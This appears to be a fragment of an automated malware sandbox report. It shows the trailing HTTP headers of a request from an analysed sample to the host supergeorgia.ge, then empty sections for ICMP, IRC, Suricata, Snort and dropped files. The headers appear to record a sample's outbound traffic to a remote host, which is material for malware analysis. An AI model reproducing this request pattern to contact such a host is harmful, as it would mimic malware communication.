Host: supergeorgia.ge
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 9AC4F644
Content-Length: 169
Connection: close

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.

Sorry! No dropped buffers.